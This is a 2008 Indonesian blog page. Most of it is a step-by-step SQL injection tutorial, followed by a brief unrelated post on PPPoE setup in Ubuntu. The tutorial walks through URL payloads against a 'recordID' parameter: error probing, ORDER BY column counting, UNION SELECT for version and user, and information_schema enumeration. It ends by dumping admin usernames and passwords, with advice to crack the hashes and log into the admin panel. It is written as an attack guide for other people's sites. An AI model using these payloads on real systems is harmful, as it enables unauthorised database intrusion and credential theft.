Minggu, 07 September 2008

SQL Injection Tutorial Melalui recordID

*mysql

Sebelum membaca artikel ini sebaiknya anda membaca artikel tentang
http://juniorsev3n.blogspot.com/2008/07/script-php-from-dreameaver-8.html
karena ini menerangkan bagaimana sql injection ini bisa terjadi.
Saya beri tahu lagi bahwa bug nya terdapat pada
WHERE id=$recordID
untuk id itu tidak selalu id tapi tergantung pada sang webmaster.
Langsung aja.

Langkah pertama adalah mengecek bug tersebut.
dengan memberikan tanda single quote ( ' ) di recordID
Semisal :
news.php?recordID=1'
Nah apabila tampak pesan error berarti kita bisa melanjutkannya.

Langkah kedua adalah mengecek column yang berada di table tersebut
dengan cara menggunakan perintah ORDER BY
Semisal :
news.php?recordID=1+ORDER+BY+1/*
nah apabila nilainya true maka column/field tersebut ada.
artinya kita harus mencari tahu ada berapa nilai yang true !
untuk mencari nilai tinggal ganti saja angka satu tersebut.
Semisal :
news.php?recordID=1+ORDER+BY+2/*
news.php?recordID=1+ORDER+BY+3/*
Nah apabila nilainya masih true berarti column/field itu ada.Dan apabila nilainya
sudah false berarti column/field itu tidak ada.Semisal column/field hanya ada 3 saat kita memasukan angka 4 maka akan muncul pesan error di halaman tersebut.
Note : /* adalah tag comment pada SQL dan kita memakai ini untuk tidak mengaktifkan perintah setelah tag comment.
Lain-lain tag comment : // , -- , # ,etc


Langka ketiga adalah menampilkan column/field yang ditampilkan.
dengan menggunakan perintah UNION ALL SELECT
semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,2,3/*
Q : Mengapa harus menggunakan -1 ?
A : tidak selalu -1 tetapi yang nilainya false.
Nah dengan menggunakan perintah itu maka akan keluar nomor2 di halaman.
Itu menandakan nomor2 itulah yang di outputkan.
Dengan demikian kita menggunakan fungsi2 di nomor2 yang dikeluarkan.
semisal nomor yang dikeluarkan adalah 2 dan 3 . Berarti fungsi2 disimpan di nomor 2 dan 3 atau salah satunya. Kalau kita memasukin di nomor yang tidak ditampilkan maka yang diperintahkan tidak akan keluar.

Langkah selanjutnya adalah memberikan fungsi2 mysql.
dengan memberikan version() , user() , database() ,etc
nah untuk mengecek version mysql masukan fungsi version()
untuk melihat user yang digunakan masukan fungsi user()
untuk melihat nama database yang digunakan masukan fungsi database()
Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,version(),user()/*
Nah di halaman akan menampilkan version mysql dan user nya.
Semisal versionnya 5 keatas dan usernya bebas
Maka kita bisa lanjutkan tetapi apabila versionnya 4 atas 5 kebawah sebaiknya cari target yang lain.
NOTE : apabila usernya root , berbahagialah. karena root adalah user yang tertinggi.Kita bisa menampilkan user2 dan password mysql.
Nah selanjutnya adalah menampilkan table2 yang ada.
NOTE : supaya lebih ringkas kita tampilkan saja table2 yang hanya ada di database
Semisal :
news.php?recorID=-1+UNION+ALL+SELECT+1,group_concat(table_name),3+
FROM+information_schema.tables+WHERE+table_schema=database()/*
group_concat adalah fungsi untuk menampilkan semuanya yang ada di column/field itu.
Anda bisa menggunakan fungsi2 lain sesuai kebutuhan. concat(),concat_ws(),etc.
table_name adalah column/field yang terdapat di table tables.
information_shema adalah database tempat penyimpanan data2 skema.
tables adalah table yang bernama tables tempat penyimpanan nama2 table tersebut.
nah dengan demikian di halaman akan muncul nama2 table yang hanya ada di database saja.
untuk menampilkan semuanya anda hanya perlu menghilangkan WHERE table_schema=database()

Apabila terdapat table2 yang berbau tempat penyimpanan database user/admin anda ingat2 nama table itu atau copy paste saja ke Applications->Aksesoris->Penyunting Berkas Teks
hehe,,promosi dikit [ ubuntu 8.04 ]

Nah apabila sudah mendapatkan nama2 table selanjutnya adalah mencari nama2 column/field.
Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,group_concat(column_name),3+
FROM+information_schema.columns+WHERE+table_schema=database()/*
Nah maka akan menampilkan column/field yang tedapat di database.
Apabila mendapat yang berbau username atau password ya itulah berarti column yang akan kita keluarkan.tetapi apabila sukses dengan menggunakan perintah semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,group_concat(column_name),3+
FROM+information_schema.columns+WHERE+table_name='user'/*
user adalah contoh table tempat penyimpanan data2 user dan password.
Maka akan keluar column yang berada di table user.
Tapi kalo muncul pesan eror sebaiknya guna cara yang tadi.
Nah apabila kita sudah mendapat nama2 column/field dan table langkah selanjutnya adalah mengeluarkan data username dan password admin.

Semisal :
news.php?recordID=-1+UNION+ALL+SELECT+1,
group_concat(concat(username,0x3a,password)),3+FROM+user/
nah maka akan tampil semua data username dan password di table user
Apabila hasilnya enkripsi anda harus mengcracknya dulu
Apabila password nya bukan enkripsi yang berbahagialah karena tidak usah
cape2 mengcracknya.
Sekarang anda tinggal login ke halaman adminnya.

Ya,,mungkin cukup sekian dulu yang bisa saya tulis
mungkin banyak kesalahan dan kekurangan jadi saya mohon maaf.
Correct Me IF I'm Wrong (CMIIW)
hehe

Salam hangat,
juniorsev3n

Selasa, 02 September 2008

Connection PPPoE at Ubuntu 8.04

AH,,akhirnya bisa juga gw konek di ubuntu
Kali ini pengalaman gw yang secara ngasal2 dan akhirnya bisa
Langsung aja
Cara koneksi PPoE di ubuntu :

pertama masuk network setting

















trus properties yg gambar telepon
nah isi deh textboxnya
dan ini adalah contohnya



















Sesudah setting tersebut kita tinggal konek deh
selese deh...

Salam
juniorsev3n